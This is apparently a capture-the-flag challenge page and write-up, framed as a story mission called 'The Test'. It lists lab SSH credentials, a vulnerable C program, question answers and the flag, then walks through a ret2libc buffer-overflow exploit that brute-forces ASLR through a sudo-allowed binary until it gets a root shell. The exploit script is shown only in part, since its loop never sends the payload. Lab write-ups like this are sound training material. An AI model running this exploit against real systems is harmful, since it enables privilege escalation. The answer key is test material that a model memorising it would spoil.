



## Mission Title

The Test

## Historical Context

Following his capture by Claire and Tarain, Ethan opts to work with Recon to gather intel on SHAX. However, as a preliminary step, Recon subjects Ethan to an assessment to gauge his hacking prowess.

## Overview of Technical Strategy

Ethan faces a challenge on a computer system. His objective is to acquire the highest level of access possible on the provided computer.

## Brief Mission Overview

Greetings, Ethan, and welcome to the Recon Evaluation. We will grant you access to a computer system where your hacking abilities will be put to the test. To proceed with our team, you must successfully complete this challenge. Are you prepared to take control of the assigned system? Best of luck!

## Detailed Mission Brief

After his arrest by Claire and Tarain, Ethan agrees to aid Recon in uncovering details about SHAX. As an initial step, Recon requires Ethan to undergo a test to verify his hacking skills.



## Tools

- User: thetest
- Password: p4ssw0rdT3st

## Questions

What is the name of the vulnerability?

- Buffer overflow | BOF

How many chars do you need to trigger the vulnerability?

- 268

What compilation flags allow the execution of code?

- -fno-stack-protector -z execstack

## Hints

1. Check input of thetest
2. Check security protections against exploiting
3. Try to bypass ASLR by prediction

## Categories

- Reversing
- BOF
- ASLR
- Exploiting



## Write Up

Gain SSH access to the computer:

- Username: thetest
- Password: p4ssw0rdT3st

Inside the /home/thetest directory, there is a binary file named "thetest".

Additionally, there is a source code file named "thetest.c".

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void flag(){
    system("cat /root/flag/flag.txt");
}

void welcome(char *input){
    printf("Welcome to the Test!");
    char buf[256];
    strcpy(buf, input);
}

int main(int argc, char **argv){
    if (argc > 1)
        welcome(argv[1]);
    else
        printf("You need an argument to pass the test");
    return 0;
}
```

- gcc -ggdb -m32 -fno-stack-protector -z execstack -o example aaa.c

To ensure the stack is executable while keeping Address Space Layout Randomization (ASLR) enabled, and to prevent modifications to the file, apply the command 'chattr +i' on the example file. This setup is crucial when testing the vulnerability, specifically a buffer overflow scenario.

```
thetest@ip-172-17-132-25:~$ gdb thetest
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word" ...
Reading symbols from thetest...
(gdb) set args `python2.7 -c 'print "A"*270'` 
(gdb) run
Starting program: /home/thetest/thetest `python2.7 -c 'print "A"*270'` 
/bin/bash: python2.7: command not found
You need an argument to pass the test[Inferior 1 (process 2794) exited normally]
(gdb) set args `python3.8 -c 'print("A"*270)'` 
(gdb) run
Starting program: /home/thetest/thetest `python3.8 -c 'print("A"*270)'` 

Program received signal SIGSEGV, Segmentation fault.
0x56004141 in ?? ()
(gdb) █
```

Figure 1

To achieve buffer overflow, it requires repeating the character 'A' 268 times. Given that Address Space Layout Randomization (ASLR) is enabled, as evidenced by the output '2' from checking `/proc/sys/kernel/randomize\_va\_space`, the function `flag()` serves merely as a decoy.

Consequently, it's essential to employ brute force to invoke a certain function that enables code execution as root, such as `/bin/sh`.

To exploit this vulnerability, one must locate the memory address offsets for the `system`, `exit` functions, and the string `/bin/sh`. Additionally, identifying the potential starting base address of the libc library is crucial for crafting a successful exploit.

```
root@ip-172-17-132-25:/tmp# readelf -s /usr/lib32/libc.so.6 | grep system
258: 00137810 106 FUNC  GLOBAL DEFAULT 16 svcerr_systemerr@@GLIBC_2.0
662: 00045420 63 FUNC  GLOBAL DEFAULT 16 __libc_system@@GLIBC_PRIVATE
1534: 00045420 63 FUNC  WEAK  DEFAULT 16 system@@GLIBC_2.0
root@ip-172-17-132-25:/tmp# readelf -s /usr/lib32/libc.so.6 | grep exit
121: 000385c0 43 FUNC  GLOBAL DEFAULT 16 __cxa_at_quick_exit@@GLIBC_2.10
150: 00037f80 39 FUNC  GLOBAL DEFAULT 16 exit@@GLIBC_2.0
root@ip-172-17-132-25:/tmp# strings -a -t x /usr/lib32/libc.so.6 | grep /bin/sh
18f352 /bin/sh
```

```
1534: 00045420 63 FUNC  WEAK DEFAULT 16 system@@GLIBC_2.0
150: 00037f80 39 FUNC  GLOBAL DEFAULT 16 exit@@GLIBC_2.0
18f352 /bin/sh
```

```
root@ip-172-17-132-25:/tmp# for i in `seq 1 5`; do ldd example | grep libc; done
libc.so.6 => /lib32/libc.so.6 (0xf7d03000)
libc.so.6 => /lib32/libc.so.6 (0xf7d7b000)
libc.so.6 => /lib32/libc.so.6 (0xf7d11000)
libc.so.6 => /lib32/libc.so.6 (0xf7d8f000)
libc.so.6 => /lib32/libc.so.6 (0xf7d30000)
```

Creating a Python program to exploit a buffer overflow vulnerability, especially under conditions with ASLR enabled, involves several steps. The program typically generates a payload that includes the right number of bytes to overflow the buffer, followed by addresses of the system, exit, and /bin/sh functions extracted from the libc library. Since ASLR randomizes these addresses, the exploit might need to include a way to leak addresses or use a brute-force approach if direct address leakage isn't possible

```
from subprocess import call
import struct

# Offsets of System, Exit, /bin/sh and libc_base_addr prediction for brute force
libc_base_addr = 0xf7d30000
system_offset = 0x00045420
exit_offset = 0x00037f80
binsh_offset = 0x0018f352

# Calculation of System, Exit, binsh addr
system_addr = struct.pack("<I",libc_base_addr + system_offset)
exit_addr = struct.pack("<I",libc_base_addr + exit_offset)
binsh_addr = struct.pack("<I",libc_base_addr + binsh_offset)

# Creating the payload
buf = b'A' * 268
buf += system_addr
buf += exit_addr
buf += binsh_addr

i = 0
while(i<512):
    print("Try :%s" %i)
    i = i+1
```

```
ret = call(["/usr/bin/sudo", "/home/thetest/thetest"] + buf.split(b'\0'))
```

```
sudo -l
(ALL) NOPASSWD: /home/thetest/thetest
```

```
Try :168
Try :169
Try :170
Try :171
Try :172
Try :173
Try :174
Try :175
Try :176
Try :177
Try :178
Try :179
Try :180
Try :181
Try :182
Try :183
Try :184
Try :185
Try :186
Try :187
Try :188
Try :189
Try :190
Try :191
Try :192
Try :193
Try :194
Try :195
Try :196
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/thisisthetestflag/flag.txt
flag{yes_ASLR_1s_so_predictable}
# █
```

Figure 2

## Flag Information

flag{yes\_ASLR\_1s\_so\_predictable}